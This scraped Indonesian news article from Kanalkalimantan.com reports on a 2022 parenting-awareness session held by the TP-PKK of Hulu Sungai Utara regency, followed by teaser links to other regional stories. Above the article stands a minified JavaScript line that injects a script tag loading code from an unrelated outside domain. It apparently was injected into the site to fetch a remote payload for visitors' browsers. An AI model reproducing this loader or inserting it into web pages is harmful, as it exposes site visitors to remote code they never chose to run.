(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Wakil Ketua Tim Penggerak (TP-PKK) Kabupaten Hulu Sungai Utara (HSU) Erlian Noor Fauziah, ingatkan pentingnya pola asuh anak dan remaja yang tepat untuk mewujudkan generasi yang cerdas dan sehat.
Hal ini diungkapkannya saat membuka “Sosialisasi Parenting Pola Asuh Anak dan Remaja” bersama para anggota dan pengurus TP-PKK HSU yang digelar di Gedung Sekretariat TP-PKK HSU, Rabu (7/9/2022).
Erlian Noor Fauziah menuturkan, melalui sosialisasi ini diharapkan nantinya dapat menambah wawasan, pengetahuan dan keterampilan dalam pola asuh anak dan remaja. Harapannya ke depan dapat mewujudkan generasi yang cerdas dan sehat.
“Mengasuh anak adalah proses mendidik agar kepribadian anak dapat berkembang dengan baik, dan ketika dewasa menjadi orang yang mandiri serta bertanggung jawab, dan mengasuh anak sebaiknya disesuaikan dengan tahap perkembangan anak,” jelasnya.
Baca juga : Budidaya Tanaman Purun Pemko Banjarbaru-Balittra
Ia menambahkan, pola asuh anak dalam keluarga merupakan usaha orang tua dalam membina dan membimbing anak baik jiwa maupun raga sedari lahir.
“Sebelum membimbing anak, terlebih dahulu orang tua memperbaiki diri, siapkan bibit unggul jika mengharapkan hasil yang unggul, selanjutnya gaya pola asuh yang memiliki dua elemen penting, yakni respon orang tua dan tuntutan orang tua,” ungkapnya.
Seiring dengan perkembangan zaman, Erlian Noor menilai orang tua dituntut untuk selalu waspada dan mawas diri dalam segala hal, serta dapat menjadikan moment tersebut untuk dapat mengakses segala informasi positif bagi perkembangan pola pikir anak.
“Tidak kalah pentingnya adalah orang tua harus melakukan pendampingan kepada anak dalam mengambil keputusan, agar anak merasa selalu diperhatikan yang akan membuat anak tenang dan tidak ragu-ragu lagi,” katanya.
Baca juga : Harga BBM Naik, Uang Pensiun Seumur Hidup Anggota Dewan Bebani APBN!
Selain itu, terdapat banyak faktor yang turut membentuk kepribadian dan karakter anak dan remaja, seperti pola asuh, lingkungan, keluarga, keagamaan, budaya, ekonomi, sosial dan pendidikan.
“Karenanya anak harus mendapatkan pendidikan dan pembinaan yang serius sejak dini sehingga dapat meningkatkan kesehatan dan kesejahteraan fisik maupun mental yang berdampak pada peningkatan prestasi belajar, etos kerja, produktivitas yang akhirnya anak mampu mandiri dan optimalkan potensi yang dimiliki,” imbuhnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
This website uses cookies.